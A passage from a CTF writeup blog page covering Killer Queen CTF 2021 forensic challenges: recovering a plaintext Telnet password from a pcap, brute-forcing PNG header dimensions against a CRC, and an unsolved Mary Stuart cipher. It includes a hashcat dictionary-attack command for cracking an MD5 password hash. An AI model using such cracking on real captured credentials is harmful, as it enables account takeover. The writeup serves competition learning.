viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Forensic</h2>\n<h3 id=\"obligatory-shark\" style=\"position:relative;\"><a href=\"#obligatory-shark\" aria-label=\"obligatory shark permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Obligatory Shark</h3>\n<p>The provided pcap turned out to contain Telnet traffic.</p>\n<p>Since Telnet is plaintext, I could recover the password.</p>\n<p>The password looked like an MD5 hash, so I ran a dictionary attack with Hashcat, recovered the original password, and got the flag.</p>\n<div class=\"gatsby-highlight\" data-language=\"bash\"><pre class=\"language-bash\"><code class=\"language-bash\">hashcat -a <span class=\"token number\">0</span> -m <span class=\"token number\">0</span> list.hash /usr/share/wordlists/rockyou.txt</code></pre></div>\n<h3 id=\"shes-a-killed-queen\" style=\"position:relative;\"><a href=\"#shes-a-killed-queen\" aria-label=\"shes a killed queen permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Shes A Killed Queen</h3>\n<p>The file provided was a corrupted PNG.</p>\n<p>After inspecting it, I found that the IHDR chunk size had been set to <code class=\"language-text\">0 x 0</code>, so repairing that seemed to be the right approach.</p>\n<p>If you just write in arbitrary values, the CRC check fails, so I used <code class=\"language-text\">png-parser</code> to obtain the correct CRC and then brute-force the dimensions.</p>\n<div class=\"gatsby-highlight\" data-language=\"python\"><pre class=\"language-python\"><code class=\"language-python\"><span class=\"token keyword\">from</span> binascii <span class=\"token keyword\">import</span> crc32\n\ncorrect_crc <span class=\"token operator\">=</span> <span class=\"token builtin\">int</span><span class=\"token punctuation\">(</span><span class=\"token string\">'0db3f6c0'</span><span class=\"token punctuation\">,</span><span class=\"token number\">16</span><span class=\"token punctuation\">)</span>\n\n<span class=\"token keyword\">for</span> h <span class=\"token keyword\">in</span> <span class=\"token builtin\">range</span><span class=\"token punctuation\">(</span><span class=\"token number\">2000</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\n    <span class=\"token keyword\">for</span> w <span class=\"token keyword\">in</span> <span class=\"token builtin\">range</span><span class=\"token punctuation\">(</span><span class=\"token number\">2000</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\n        data <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span>\n            <span class=\"token string\">b\"\\x49\\x48\\x44\\x52\"</span>\n            <span class=\"token operator\">+</span> w<span class=\"token punctuation\">.</span>to_bytes<span class=\"token punctuation\">(</span><span class=\"token number\">4</span><span class=\"token punctuation\">,</span> byteorder<span class=\"token operator\">=</span><span class=\"token string\">\"big\"</span><span class=\"token punctuation\">)</span>\n            <span class=\"token operator\">+</span> h<span class=\"token punctuation\">.</span>to_bytes<span class=\"token punctuation\">(</span><span class=\"token number\">4</span><span class=\"token punctuation\">,</span> byteorder<span class=\"token operator\">=</span><span class=\"token string\">\"big\"</span><span class=\"token punctuation\">)</span>\n            <span class=\"token operator\">+</span> <span class=\"token string\">b\"\\x08\\x06\\x00\\x00\\x00\"</span>\n        <span class=\"token punctuation\">)</span>\n        <span class=\"token keyword\">if</span> crc32<span class=\"token punctuation\">(</span>data<span class=\"token punctuation\">)</span> <span class=\"token operator\">&amp;</span> <span class=\"token number\">0xffffffff</span> <span class=\"token operator\">==</span> correct_crc<span class=\"token punctuation\">:</span>\n            <span class=\"token keyword\">print</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"Width: \"</span><span class=\"token punctuation\">,</span> end<span class=\"token operator\">=</span><span class=\"token string\">\"\"</span><span class=\"token punctuation\">)</span>\n            <span class=\"token keyword\">print</span><span class=\"token punctuation\">(</span><span class=\"token builtin\">hex</span><span class=\"token punctuation\">(</span>w<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n            <span class=\"token keyword\">print</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"Height :\"</span><span class=\"token punctuation\">,</span> end<span class=\"token operator\">=</span><span class=\"token string\">\"\"</span><span class=\"token punctuation\">)</span>\n            <span class=\"token keyword\">print</span><span class=\"token punctuation\">(</span><span class=\"token builtin\">hex</span><span class=\"token punctuation\">(</span>h<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n            exit<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span></code></pre></div>\n<p>That gave me the correct IHDR chunk size, so I patched the file in a binary editor and restored the image.</p>\n<p>After running steganography on the restored image, I got the following ciphertext, but I could not solve it and had to give up.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 500px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/e20ccbf146976350fcff7eedb93db3d2/41099/queen-cipher.jpg\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 56.666666666666664%; position: relative; bottom: 0; left: 0; background-image: url('data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAALABQDASIAAhEBAxEB/8QAFgABAQEAAAAAAAAAAAAAAAAAAAEC/8QAFAEBAAAAAAAAAAAAAAAAAAAAAP/aAAwDAQACEAMQAAAB3iCg/8QAFhAAAwAAAAAAAAAAAAAAAAAAAhIg/9oACAEBAAEFAnKv/8QAFBEBAAAAAAAAAAAAAAAAAAAAEP/aAAgBAwEBPwE//8QAFBEBAAAAAAAAAAAAAAAAAAAAEP/aAAgBAgEBPwE//8QAFhAAAwAAAAAAAAAAAAAAAAAAASAx/9oACAEBAAY/AqW//8QAFRABAQAAAAAAAAAAAAAAAAAAIPH/2gAIAQEAAT8hpL//2gAMAwEAAgADAAAAEDMP/8QAFBEBAAAAAAAAAAAAAAAAAAAAEP/aAAgBAwEBPxA//8QAFBEBAAAAAAAAAAAAAAAAAAAAEP/aAAgBAgEBPxA//8QAGhAAAwADAQAAAAAAAAAAAAAAAAERECFRYf/aAAgBAQABPxBtUcnoV9ZfXmn/2Q=='); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/e20ccbf146976350fcff7eedb93db3d2/8ac56/queen-cipher.webp 240w,\n/static/e20ccbf146976350fcff7eedb93db3d2/d3be9/queen-cipher.webp 480w,\n/static/e20ccbf146976350fcff7eedb93db3d2/b0a15/queen-cipher.webp 500w\"\n              sizes=\"(max-width: 500px) 100vw, 500px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/e20ccbf146976350fcff7eedb93db3d2/09b79/queen-cipher.jpg 240w,\n/static/e20ccbf146976350fcff7eedb93db3d2/7cc5e/queen-cipher.jpg 480w,\n/static/e20ccbf146976350fcff7eedb93db3d2/41099/queen-cipher.jpg 500w\"\n            sizes=\"(max-width: 500px) 100vw, 500px\"\n            type=\"image/jpeg\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/e20ccbf146976350fcff7eedb93db3d2/41099/queen-cipher.jpg\"\n            alt=\"queen-cipher.jpg\"\n            title=\"queen-cipher.jpg\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>Apparently it was a known cipher called <code class=\"language-text\">Mary Stuart Code</code>, and it could be decoded with <a href=\"https://www.dcode.fr/mary-stuart-code\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">Mary Queen of Scots Cipher/Code - Online Decoder, Translator</a>.</p>\n<p>I even tried image searches and similar ideas, but I still fell just short of the flag.</p>\n<h2 id=\"summary\" style=\"position:relative;\"><a href=\"#summary\" aria-label=\"summary permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Summary</h2>\n<p>Killer Queen CTF 2021 had nearly 1,000 participating teams and even sponsors, but there were many infrastructure issues with the challenge servers and quite a few problems with the challenges themselves, so it was a pretty rough event.</p>\n<p>The scoreboard was constantly buggy, and at one point you had to DM the organizers just to log in, which made it a rather rare experience for a CTF of this size.</p>","fields":{"slug":"/ctf-killer-queen-2021-en","tagSlugs":["/tag/ctf-en/","/tag/reversing-en/","/tag/pwn-en/","/tag/forensic-en/","/tag/english/"]},"frontmatter":{"date":"2021-11-01","description":"Writeups for interesting and educational challenges from Killer Queen CTF 2021.","tags":["CTF (en)","Reversing (en)","Pwn (en)","Forensic (en)","English"],"title":"Killer Queen CTF 2021 WriteUp","socialImage":{"publicURL":"/static/dc4d8b7f8795f3c3d3489d9957d155f2/no-image.png"}}}},"pageContext":{"slug":"/ctf-killer-queen-2021-en"}},"staticQueryHashes":["251939775","401334301","825871152"]}